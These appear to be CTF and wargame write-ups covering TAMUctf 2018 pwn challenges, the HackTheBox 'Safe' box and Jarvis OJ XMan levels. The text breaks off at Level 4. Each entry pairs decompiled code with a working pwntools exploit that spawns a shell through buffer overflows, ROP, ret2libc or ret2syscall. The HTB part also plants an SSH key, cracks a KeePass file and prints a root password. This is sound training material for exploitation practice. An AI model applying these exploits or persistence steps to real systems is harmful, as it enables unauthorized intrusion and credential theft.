[*] '/root/Dropbox/Wargame/CTFium/TAMUctf/2018/pwn1/pwn1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+5h] [ebp-23h]
  int v5; // [esp+1Ch] [ebp-Ch]

  setvbuf(_bss_start, (char *)2, 0, 0);
  puts("This is a super secret program");
  puts("Noone is allowed through except for those who know the secret!");
  puts("What is my secret?");
  v5 = 0;
  gets(&s);
  if ( v5 == 0xF007BA11 )
    print_flag();
  else
    puts("That is not the secret word!");
  return 0;
}

print_flag:

int print_flag()
{
  char i; // al
  FILE *fp; // [esp+Ch] [ebp-Ch]

  puts("How did you figure out my secret?!");
  fp = fopen("flag.txt", "r");
  for ( i = _IO_getc(fp); i != -1; i = _IO_getc(fp) )
    putchar(i);
  return putchar(10);
}

Analysis

Our task here is to overwrite the variable v5 as 0xF007BA11. Take a look at the stack:

-00000028 ; D/A/*   : change type (data/ascii/array)
-00000028 ; N       : rename
-00000028 ; U       : undefine
-00000028 ; Use data definition commands to create local variables and function arguments.
-00000028 ; Two special fields " r" and " s" represent return address and saved registers.
-00000028 ; Frame size: 28; Saved regs: 4; Purge: 0
-00000028 ;
-00000028
-00000028                 db ? ; undefined
-00000027                 db ? ; undefined
-00000026                 db ? ; undefined
-00000025                 db ? ; undefined
-00000024                 db ? ; undefined
-00000023 s               db ?
-00000022                 db ? ; undefined
-00000021                 db ? ; undefined
-00000020                 db ? ; undefined
-0000001F                 db ? ; undefined
-0000001E                 db ? ; undefined
-0000001D                 db ? ; undefined
-0000001C                 db ? ; undefined
-0000001B                 db ? ; undefined
-0000001A                 db ? ; undefined
-00000019                 db ? ; undefined
-00000018                 db ? ; undefined
-00000017                 db ? ; undefined
-00000016                 db ? ; undefined
-00000015                 db ? ; undefined
-00000014                 db ? ; undefined
-00000013                 db ? ; undefined
-00000012                 db ? ; undefined
-00000011                 db ? ; undefined
-00000010                 db ? ; undefined
-0000000F                 db ? ; undefined
-0000000E                 db ? ; undefined
-0000000D                 db ? ; undefined
-0000000C var_C           dd ?
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004 var_4           dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 argc            dd ?
+0000000C argv            dd ?                    ; offset
+00000010 envp            dd ?                    ; offset
+00000014
+00000014 ; end of stack variables

Note that v5 is at 0x0c and the input buffer begins at 0x23, hence the offset is 0x23 - 0x0c = 0x17 = 23.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="i386", os="linux")

elf = ELF("pwn1", checksec=False)
p = elf.process()

#--------overwrite--------#

offset = 23

payload = flat(
    b"A" * offset,
    0xf007ba11,
)

p.sendlineafter("What is my secret?\n", payload)
log.info(p.readall().decode())

pwn2

File

$ file pwn2
pwn2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7bc1a419a4b258706db93ad2f8785e46fdee9636, not stripped

Checksec

$ checksec pwn2
[*] '/root/Dropbox/Wargame/CTFium/TAMUctf/2018/pwn2/pwn2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, (char *)2, 0, 0);
  puts("I just love repeating what other people say!");
  puts("I bet I can repeat anything you tell me!");
  echo();
  return 0;
}

echo:

int echo()
{
  char s; // [esp+9h] [ebp-EFh]

  setvbuf(_bss_start, (char *)2, 0, 0);
  gets(&s);
  return puts(&s);
}

print_flag:

int print_flag()
{
  char i; // al
  FILE *fp; // [esp+Ch] [ebp-Ch]

  puts("This function has been deprecated");
  fp = fopen("flag.txt", "r");
  for ( i = _IO_getc(fp); i != -1; i = _IO_getc(fp) )
    putchar(i);
  return putchar(10);
}

Analysis

Basic ret2text. This one is even easier than pwn1.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="i386", os="linux")

elf = ELF("pwn2", checksec=False)
p = elf.process()

#--------ret2text--------#

offset = 243
print_flag = elf.sym["print_flag"]

payload = flat(
    b"A" * offset,
    print_flag,
)

p.sendlineafter("I bet I can repeat anything you tell me!\n", payload)
log.info(p.readall())

pwn3

File

$ file pwn3
pwn3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5b8bcbe552d4097fbb9a1fe8612c45cfec687a01, not stripped

Checksec

$ checksec pwn3
[*] '/root/Dropbox/Wargame/CTFium/TAMUctf/2018/pwn3/pwn3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, (char *)2, 0, 0);
  puts("Welcome to the New Echo application 2.0!");
  puts("Changelog:\n- Less deprecated flag printing functions!\n- New Random Number Generator!\n");
  echo();
  return 0;
}

echo:

int echo()
{
  char s; // [esp+Ah] [ebp-EEh]

  printf("Your random number %p!\n", &s);
  printf("Now what should I echo? ");
  gets(&s);
  return puts(&s);
}

Analysis

Note that the “random number” gets printed out is just the address of the input buffer. We can do a simple ret2shellcode since there is no protection.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="i386", os="linux")

elf = ELF("pwn3", checksec=False)
p = elf.process()

#--------ret2shellcode--------#

offset = 242
shellcode = asm(shellcraft.sh())

p.readuntil("Your random number ")
buf_addr = int(p.read(10), 16)

payload = flat(
    shellcode.ljust(offset, b"A"),
    buf_addr,
)

p.sendlineafter("Now what should I echo? ", payload)
p.interactive()

pwn4

File

$ file pwn4
pwn4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=10072c7ad444bfe87517d96dbe040fb69cf67cd4, not stripped

Checksec

$ checksec pwn4
[*] '/root/Dropbox/Wargame/CTFium/TAMUctf/2018/pwn4/pwn4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Pseudocode

main:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, (char *)2, 0, 0);
  while ( 1 )
    reduced_shell();
}

reduced_shell:

int reduced_shell()
{
  char s; // [esp+Ch] [ebp-1Ch]

  puts("I am a reduced online shell");
  puts("Your options are:");
  puts("1. ls\n2. cal\n3. pwd\n4. whoami\n5. exit");
  printf("Input> ");
  gets(&s);
  if ( !strcmp(&s, "ls") || !strcmp(&s, "1") )
  {
    ls();
  }
  else if ( !strcmp(&s, "cal") || !strcmp(&s, a234) )
  {
    cal();
  }
  else if ( !strcmp(&s, "pwd") || !strcmp(&s, &a234[2]) )
  {
    pwd();
  }
  else if ( !strcmp(&s, "whoami") || !strcmp(&s, &a234[4]) )
  {
    whoami();
  }
  else
  {
    if ( !strcmp(&s, "exit") || !strcmp(&s, "5") )
      exit(0);
    puts("Unkown Command");
  }
  return putchar(10);
}

Analysis

This is the easiest type of ret2system because both system@plt and /bin/sh are inside the binary.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="i386", os="linux")

elf = ELF("pwn4", checksec=False)
p = elf.process()

#--------ret2system--------#

offset = 32
system = elf.plt["system"]
# ROPgadget --binary pwn4 --string "/bin/sh"
bin_sh = 0x804a038

payload = flat(
    b"A" * offset,
    system,
    b"B" * 4, # ret addr for system
    bin_sh, # arg for system
)

p.sendlineafter("Input> ", payload)
p.interactive()

pwn5

File

$ file pwn5
pwn5: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=732cfe3cc8d9338ec19a157615505d10d2dc396b, not stripped

Checksec

$ checksec pwn5
[*] '/root/Dropbox/Wargame/CTFium/TAMUctf/2018/pwn5/pwn5'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  print_beginning();
  return 0;
}

print_beginning:

int print_beginning()
{
  int result; // eax
  char v1; // [esp+Fh] [ebp-9h]

  puts("Welcome to the TAMU Text Adventure!");
  puts("You are about to begin your journey at Texas A&M as a student");
  puts("But first tell me a little bit about yourself");
  printf("What is your first name?: ");
  fgets(&first_name, 100, stdin);
  strtok(&first_name, "\n");
  printf("What is your last name?: ");
  fgets(&last_name, 100, stdin);
  strtok(&last_name, "\n");
  printf("What is your major?: ");
  fgets(major, 20, stdin);
  strtok(major, "\n");
  printf("Are you joining the Corps of Cadets?(y/n): ");
  v1 = getchar();
  corps = v1 == 121 || v1 == 89;
  printf("\nWelcome, %s %s, to Texas A&M!\n");
  if ( corps )
    result = first_day_corps();
  else
    result = first_day_normal();
  return result;
}

first_day_corps:

int first_day_corps()
{
  int result; // eax

  printf(
    "You wake with a start as your sophomore yells \"Wake up fish %s! Why aren't you with your buddies in the fallout hole?\"\n");
  puts("As your sophomore slams your door close you quickly get dressed in pt gear and go to the fallout hole.");
  puts("You spend your morning excersizing and eating chow.");
  puts("Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number)");
  puts("1. Go to class.\n2. Change your major.\n3. Skip class and sleep\n4. Study");
  getchar();
  result = (char)getchar();
  if ( result == 50 )
  {
    printf("You decide that you are already tired of studying %s and go to the advisors office to change your major\n");
    printf("What do you change your major to?: ");
    result = change_major();
  }
  else if ( result > 50 )
  {
    if ( result == 51 )
    {
      result = puts(
                 "You succumb to the sweet calling of your rack and decide that sleeping is more important than class at the moment.");
    }
    else if ( result == 52 )
    {
      puts(
        "You realize that the corps dorms are probably not the best place to be studying and decide to go to the library");
      result = printf(
                 "Unfortunately the queitness of the library works against you and as you are studying %s related topics "
                 "you start to doze off and fall asleep\n");
    }
  }
  else if ( result == 49 )
  {
    puts("You go to class and sit front and center as the Corps academic advisors told you to do.");
    printf(
      "As the lecturer drones on about a topic that you don't quite understand in the field of %s you feel yourself begin"
      "ning to drift off.\n");
    result = puts("You wake with a start and find that you are alone in the lecture hall.");
  }
  return result;
}

change_major:

int change_major()
{
  char dest; // [esp+Ch] [ebp-1Ch]

  getchar();
  gets(&dest);
  strncpy(&dest, major, 0x14u);
  return printf("You changed your major to: %s\n");
}

Analysis

It takes some time to find the vulnerable function, which is the gets(&dest) in change_major. The bad news is that we don’t get system@plt this time and there is no /bin/sh in the binary.

Although we can’t do ret2system, we still can do a ret2syscall. We want to:

  1. Set eax to 0xb (0xb is the syscall number for execve).
  2. Set ebx to the address of “/bin/sh”
  3. Set ecx to 0.
  4. Set edx to 0.
  5. Call int 0x80 in the end to execute the syscall.

The only problem left is how we pass /bin/sh to the binary. This is fairly simple since we are asked for 3 inputs at the beginning: first_name, last_name and major. Now take a look at the stack:

.bss:080F1A20 first_name      db    ? ;               ; DATA XREF: print_beginning+51↑o
.bss:080F1A20                                         ; print_beginning+66↑o ...

The variable first_name is stored on the .bss segment, which is readable and writable:

peda$ vmmap
Warning: not running
Start      End        Perm      Name
0x080481b0 0x080bf4e4 rx-p      /root/Dropbox/Wargame/CTFium/TAMUctf/2018/pwn5/pwn5
0x080480f4 0x080ee11a r--p      /root/Dropbox/Wargame/CTFium/TAMUctf/2018/pwn5/pwn5
0x080eff5c 0x080f1ec4 rw-p      /root/Dropbox/Wargame/CTFium/TAMUctf/2018/pwn5/pwn5

Hence it is perfectly fine to input /bin/sh as first_name, and all problems are solved.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="i386", os="linux")

elf = ELF("pwn5", checksec=False)
p = elf.process()

p.sendline("/bin/sh")
p.sendline("AAAA")
p.sendline("BBBB")
p.sendline("y")
p.sendline("2")

#--------ret2syscall--------#

offset = 32
# ROPgadget --binary pwn5 --only "pop|ret" | grep eax
pop_eax = 0x080bc396
# ROPgadget --binary pwn5 --only "pop|ret" | grep ebx
pop_ebx = 0x080481d1
# ROPgadget --binary pwn5 --only "pop|ret" | grep ecx
pop_ecx = 0x080e4325
# ROPgadget --binary pwn5 --only "pop|ret" | grep edx
pop_edx = 0x0807338a
# /bin/sh is at the address of first_name
# gdb-peda$ p &first_name
# $1 = (<data variable, no debug info> *) 0x80f1a20 <first_name>
bin_sh = 0x080f1a20
# ROPgadget --binary pwn5 --only "int"
int_0x80 = 0x08071005

payload = flat(
    b"A" * offset,
    pop_eax, 0xb,
    pop_ebx, bin_sh,
    pop_ecx, 0,
    pop_edx, 0,
    int_0x80,
)

p.sendline(payload)
p.interactive()

Outro

Pwn5 is a really good challenge and you may want to spend more time on it. Let’s go over the ret2syscall procedures again:

  1. Set eax to 0xb.
  2. Set ebx to “/bin/sh”.
  3. Set ecx to 0.
  4. Set edx to 0.
  5. Call int 0x80.

If there is no /bin/sh, just input it to the .bss segment.

HTB Safe Writeup

  1. Intro
  2. IP
  3. Enumeration
  4. Pwn
  5. SSH
  6. Privesc

Intro

safe

Safe is an easy-medium level box that targets x64 ROP. The tricky part is that we have to find an unused function inside the binary and read its assembly code. This part was quite interesting because the function prologue was used to pass /bin/sh\x00. It was kind of unique as I haven’t seen such pwn challenge anywhere else.

The privesc part is cracking password for a Keepass file. It was a little guessy and not quite useful in real life. I guess this is the reason why this box gets such a low rating.

IP

RHOST = 10.10.10.147
LHOST = 10.10.14.46

Enumeration

View source code:

<!-- 'myapp' can be downloaded to analyze from here
     its running on port 1337 -->

The vulnerable program can be downloaded from:

http://10.10.10.147/myapp

Pwn

File

$ file myapp
myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped

Checksec

$ checksec myapp          
[*] '/root/Dropbox/HTB/Box/Safe/myapp/myapp'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-70h]

  system("/usr/bin/uptime");
  printf("\nWhat do you want me to echo back? ", argv);
  gets(&s, 1000LL);
  puts(&s);
  return 0;
}

Analysis

It seems to be a typical ret2system challenge on x64 at first glance, but that’s not the case. The absence of /bin/sh makes it slightly difficult.

First, note that there is an unused function named test:

test

This function does two things:

  1. It moves the content of rbp to rdi. This is because the first operation of the function prologue push rbp moves the content of rbp to rsp, and then mov rdi, rsp moves the content of rsp to rdi. Pictorially, we have rbp -> rsp -> rdi. We can use this functionality to pass /bin/sh.
  2. It jumps to r13 in the end. We can use this functionality to call system.

So we come up with an attack plan:

  1. Fill the buffer with junk before rbp.
  2. Store /bin/sh\x00 in rbp.
  3. Store system@plt in r13.
  4. Call test.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="amd64", os="linux")

elf = ELF("myapp", checksec=False)
local = False

if local:
    r = elf.process()
else:
    host = "10.10.10.147"
    port = 1337
    r = remote(host, port)

#--------ret2text + pass args--------#

offset = 120
bin_sh = b"/bin/sh\x00"

# ROPgadget --binary myapp --only "pop|ret" | grep r13
pop_r13_r14_r15 = 0x0000000000401206
system_plt = elf.plt["system"]
test = elf.sym["test"]

payload = flat(
    bin_sh.rjust(offset, b"\x90"),
    pop_r13_r14_r15, system_plt, 0, 0, # r13 = system@plt
    test,
)

r.sendlineafter("\n", payload).decode()
r.interactive()

User Shell

user

SSH

Although we have a shell, it is not the good-looking kind. To obtain a better shell, upload your id_rsa.pub to the server:

$ echo "<your id_rsa.pub>" > /home/user/.ssh/authorized_keys

Connect to the server via SSH:

ssh

Privesc

Enumeration

There are 6 jpg files and a kdbx file in the user’s home directory. They look really suspicious. Download all the files to our local machine:

$ scp user@10.10.10.147:\*.JPG .
$ scp user@10.10.10.147:\*.kdbx .

It turns out that the kdbx extension represents Keepass file, which requires a key file and a master password to open.

John

This part is a little guessy. We could use loop through all the jpg files and try each one of them as key file:

#!/bin/bash

for i in *.JPG
do
  echo "\#--------------------------------$i--------------------------------\#"
  keepass2john -k $i MyPasswords.kdbx > hash.txt
  john hash.txt
done

It turns out that the key file is IMG_0547.JPG and the master password is bullshit. Fine.

Keepass

We could read the keepass file now with kpcli:

kpcli --key=IMG_0547.JPG --kdb=MyPasswords.kdbx

keepass

The root password is u3v2249dl9ptv465cogl3cnpo3fyhk.

Root Shell

root

Jarvis OJ Pwn XMan Series Writeup

  1. Xman Level 0
  2. Xman Level 1
  3. Xman Level 2
  4. Xman Level 2 x64
  5. Xman Level 3
  6. Xman Level 3 x64
  7. Xman Level 4
  8. Xman Level 5
  9. Xman Level 6
  10. Xman Level 6 x64

Xman Level 0

Challenge

level0

File

$ file level0 
level0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped

Checksec

$ checksec level0 
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_0/level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}

vulnerable_function:

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

callsystem:

int callsystem()
{
  return system("/bin/sh");
}

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="amd64", os="linux")

elf = ELF("level0", checksec=False)
local = False

if local:
	r = elf.process()
else:
	host = "pwn2.jarvisoj.com"
	port = 9881
	r = remote(host, port)

#--------ret2text--------#

offset = 136
callsystem = elf.sym["callsystem"]

payload = flat(
	b"A" * offset,
	callsystem,
)

r.sendlineafter("Hello, World\n", payload)
r.interactive()

Xman Level 1

Challenge

level1

File

$ file level1
level1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7d479bd8046d018bbb3829ab97f6196c0238b344, not stripped

Checksec

$ checksec level1
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_1/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

vulnerable_function:

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  printf("What's this:%p?\n", &buf);
  return read(0, &buf, 0x100u);
}

Analysis

There is no protection, so we can do ret2shellcode. Since we are allowed to write 0x100 bytes into buf, there is enough space for the built-in shellcode of pwntools.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="i386", os="linux")

elf = ELF("level1", checksec=False)
local = False

if local:
	r = elf.process()
else:
	host = "pwn2.jarvisoj.com"
	port = 9877
	r = remote(host, port)

#--------ret2shellcode--------#

r.readuntil("What's this:").decode()
buf_addr = int(r.read(10), 16)
log.info(f"buf_addr: {hex(buf_addr)}")

offset = 140
shellcode = asm(shellcraft.sh())

payload = flat(
	shellcode.ljust(offset, b"\x90"),
	buf_addr,	
)

r.sendlineafter("?\n", payload)
r.interactive()

Xman Level 2

Challenge

level2

File

$ file level2
level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a70b92e1fe190db1189ccad3b6ecd7bb7b4dd9c0, not stripped

Checksec

$ checksec level2
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_2_x86/level2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}

vulnerable_function:

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  system("echo Input:");
  return read(0, &buf, 0x100u);
}

Analysis

Since NX is turned on, we can’t do ret2shellcode this time. Instead, we use ret2libc. Note that both system and /bin/sh are in the binary:

$ ROPgadget --binary level2 --string "system"
Strings information
============================================================
0x0804824b : system
$ ROPgadget --binary level2 --string "/bin/sh"
Strings information
============================================================
0x0804a024 : /bin/sh

So we can call system("/bin/sh") directly.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="i386", os="linux")

elf = ELF("level2", checksec=False)
local = False

if local:
	r = elf.process()
else:
	host = "pwn2.jarvisoj.com"
	port = 9878
	r = remote(host, port)

#--------ret2libc--------#

offset = 140
system = elf.plt["system"]
bin_sh = next(elf.search(b"/bin/sh\x00"))

payload = flat(
	b"A" * offset,
	system,
	b"B" * 4, # ret address for system
	bin_sh, # arg for system
)

r.sendlineafter("Input:\n", payload)
r.interactive()

Xman Level 2 x64

Challenge

level2_x64

File

$ file level2_x64 
level2_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=17f0f0026ee70f2e0c8c600edcbe06862a9845bd, not stripped

Checksec

$ checksec level2_x64 
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_2_x64/level2_x64'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function(argc, argv, envp);
  return system("echo 'Hello World!'");
}

vulnerable_function:

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  system("echo Input:");
  return read(0, &buf, 0x200uLL);
}

Analysis

We are on x64 architecture now. The most distinction between x86 and x64 is calling convention. In x86, the function arguments are stored on the stack. In x64, the first 6 function arguments are stored in the following registers:

  1. rdi
  2. rsi
  3. rdx
  4. rcx
  5. r8
  6. r9

If there are more arguments, the extra ones will be stored on the stack.

To pass /bin/sh as the argument for system, we need to store /bin/sh in rdi. This can be done with the pop rdi gadget:

$ ROPgadget --binary level2_x64 --only "pop|ret" | grep rdi
0x00000000004006b3 : pop rdi ; ret

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="amd64", os="linux")

elf = ELF("level2_x64", checksec=False)
local = False

if local:
	r = elf.process()
else:
	host = "pwn2.jarvisoj.com"
	port = 9882
	r = remote(host, port)

#--------ret2libc--------#

offset = 136
# ROPgadget --binary level2_x64 --only "pop|ret" | grep rdi
pop_rdi = 0x00000000004006b3
bin_sh = next(elf.search(b"/bin/sh\x00"))
system = elf.plt["system"]

payload = flat(
	b"A" * offset,
	pop_rdi, bin_sh, # pop "/bin/sh" to rdi
	system, # call system("/bin/sh")
)

r.sendlineafter("Input:\n", payload)
r.interactive()

Xman Level 3

Challenge

level3

File

$ file level3
level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped

Checksec

$ checksec level3
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_3/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

vulnerable_function:

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}

Analysis

No more system here, so we need to leak an address (write_got) from the GOT table and calculate the libc base address. With this base address, we are able to deduce the addresses of system and /bin/sh in libc.

We are able to use puts or write for the leaking phase. Since there is no puts in the binary, the only choice for us is to use write.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="i386", os="linux")

elf = ELF("level3", checksec=False)
local = False

if local:
	libc = elf.libc
	r = elf.process()
else:
	libc = ELF("libc-2.19.so")
	host = "pwn2.jarvisoj.com"
	port = 9879
	r = remote(host, port)

#--------ret2write--------#

offset = 140
write_plt = elf.plt["write"]
vulnerable_function = elf.sym["vulnerable_function"]
write_got = elf.got["write"]

payload = flat(
	b"A" * offset,
	write_plt, # call write(1, write_got, 4)
	vulnerable_function, # ret addr for write
	1, write_got, 4, # args for write
)
"""
Here 1 is fd (stdout), 4 is the # bytes to write
"""

r.sendlineafter("Input:\n", payload)
write_leak = u32(r.read(4))
write_offset = libc.sym["write"]
libc.address = write_leak - write_offset

log.info(f"write_leak: {hex(write_leak)}")
log.info(f"write_offset: {hex(write_offset)}")
log.info(f"libc.address: {hex(libc.address)}")

#--------ret2system-------#

system = libc.sym["system"]
bin_sh = next(libc.search(b"/bin/sh\x00"))
"""
since libc.address was set,
the above two address are adjusted automatically.
"""

payload = flat(
	b"A" * offset,
	system,
	b"B" * 4, # ret addr for system
	bin_sh, # arg for system
)

r.sendlineafter("Input:\n", payload)
r.interactive()

Xman Level 3 x64

Challenge

level3_x64

File

$ file level3_x64 
level3_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped

Checksec

$ checksec level3_x64 
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_3_x64/level3_x64'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function(argc, argv, envp);
  return write(1, "Hello, World!\n", 0xEuLL);
}

vulnerable:

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  write(1, "Input:\n", 7uLL);
  return read(0, &buf, 0x200uLL);
}

Analysis

We want pop rdi, pop rsi and pop rdx this time. We can find pop rdi ; ret in the binary:

$ ROPgadget --binary level3_x64 --only "pop|ret" | grep rdi
0x00000000004006b3 : pop rdi ; ret

But we can’t find pop rsi; ret. The good news is that pop rsi ; pop r15 ; ret could be used as a replacement:

$ ROPgadget --binary level3_x64 --only "pop|ret" | grep rsi
0x00000000004006b1 : pop rsi ; pop r15 ; ret

Here we simply pass a junk value into r15, so this gadget would be the same as pop rsi ; ret.

We still need pop rdx ; ret. However, this gadget is not present in the binary. It doesn’t really matter because rdx is greater than 6 at the moment write gets called. That is, we can just set the first two arguments and ignore the third argument.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="amd64", os="linux")

elf = ELF("level3_x64", checksec=False)
local = False

if local:
	libc = elf.libc
	r = elf.process()
else:
	libc = ELF("libc-2.19.so")
	host = "pwn2.jarvisoj.com"
	port = 9883
	r = remote(host, port)

#--------ret2write--------#

offset = 136
write_plt = elf.plt["write"]
vulnerable_function = elf.sym["vulnerable_function"]
write_got = elf.got["write"]

# ROPgadget --binary level3_x64 --only "pop|ret" | grep rdi
pop_rdi = 0x00000000004006b3
# ROPgadget --binary level3_x64 --only "pop|ret" | grep rsi
pop_rsi_r15 = 0x00000000004006b1

payload = flat(
	b"A" * offset,
	pop_rdi, 1,
	pop_rsi_r15, write_got, 1337,
	write_plt, # call write(1, write_got, [rdx])
	vulnerable_function, # ret addr for write
)

r.sendlineafter("Input:\n", payload)
write_leak = u64(r.read(8))
write_offset = libc.sym["write"]
libc.address = write_leak - write_offset

log.info(f"write_leak: {hex(write_leak)}")
log.info(f"write_offset: {hex(write_offset)}")
log.info(f"libc.address: {hex(libc.address)}")

#--------ret2system-------#

system = libc.sym["system"]
bin_sh = next(libc.search(b"/bin/sh\x00"))

payload = flat(
	b"A" * offset,
	pop_rdi, bin_sh,
	system, # call system("/bin/sh")
)

r.sendlineafter("Input:\n", payload)
r.interactive()

Xman Level 4

Challenge

level4

File

$ file level4
level4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44cfbcb6b7104566b4b70e843bc97c0609b7a018, not stripped

Checksec

$ checksec level4
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_4/level4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

vulnerable_function:

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  return read(0, &buf, 0x100u);
}

Analysis

